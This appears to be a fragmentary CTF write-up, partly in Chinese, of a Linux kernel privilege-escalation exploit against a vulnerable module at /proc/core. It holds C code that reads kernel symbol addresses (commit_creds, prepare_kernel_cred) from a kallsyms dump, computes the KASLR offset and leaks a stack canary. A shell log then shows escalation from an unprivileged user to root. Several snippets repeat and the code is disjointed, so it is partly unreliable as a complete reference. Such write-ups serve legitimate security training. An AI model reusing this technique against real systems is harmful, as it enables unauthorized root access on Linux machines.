/ $ cat /tmp/kallsyms 0000000000000000A irq_stack_union 0000000000000000A __per_cpu_start ffffffff91200000 T startup_64 ffffffff91200000 T _stext ffffffff91200000 T _text ffffffff91200030 T secondary_startup_64 ffffffff912000e0 T verify_cpu ffffffff912001e0 T start_cpu0 ffffffff912001f0 T __startup_64 ffffffff91200370 T __startup_secondary_64 ffffffff91200380 t run_init_process ffffffff912003b0 t try_to_run_init_process ffffffff912003e0 t initcall_blacklisted ffffffff912004a0 T do_one_initcall ffffffff91200600 t match_dev_by_uuid ffffffff91200630 T name_to_dev_t
if(!commit_creds && !strcmp(buf, "commit_creds")) { commit_creds = addr; printf("\033[32m\033[1m" "[+] Successful to get the addr of commit_cread:" "\033[0m%lx\n", commit_creds); continue; }
if(!strcmp(buf, "prepare_kernel_cred")) { prepare_kernel_cred = addr; printf("\033[32m\033[1m" "[+] Successful to get the addr of prepare_kernel_cred:" "\033[0m%lx\n", prepare_kernel_cred); continue; } }
在init中,ismod加载了一个自定义的模块
insmod 是 Linux 系统上用于加载内核模块的命令。insmod 命令允许你将一个预编译的内核模块插入(即加载)到运行的内核中。
puts("\033[34m\033[1m[*] Start to exploit...\033[0m"); save_status();
fd = open("/proc/core", 2); if(fd <0) { puts("\033[31m\033[1m[x] Failed to open the /proc/core !\033[0m"); exit(-1); }
//get the addr ksyms_file = fopen("/tmp/kallsyms", "r"); if(ksyms_file == NULL) { puts("\033[31m\033[1m[x] Failed to open the sym_table file!\033[0m"); exit(-1); }
if(!commit_creds && !strcmp(buf, "commit_creds")) { commit_creds = addr; printf("\033[32m\033[1m" "[+] Successful to get the addr of commit_cread:" "\033[0m%lx\n", commit_creds); continue; }
if(!strcmp(buf, "prepare_kernel_cred")) { prepare_kernel_cred = addr; printf("\033[32m\033[1m" "[+] Successful to get the addr of prepare_kernel_cred:" "\033[0m%lx\n", prepare_kernel_cred); continue; } }
offset = commit_creds - 0xffffffff8109c8e0;
// get the canary set_off_val(fd, 64); core_read(fd, buf); canary = ((size_t *)buf)[0];
/ $ id uid=1000(chal) gid=1000(chal) groups=1000(chal) / $ /tmp/exploit [*] Start to exploit... [*] Status has been saved. [+] Successful to get the addr of commit_cread:ffffffffbda9c8e0 [+] Successful to get the addr of prepare_kernel_cred:ffffffffbda9cce0 [+] Successful to get the root. Execve root shell now... / # id uid=0(root) gid=0(root)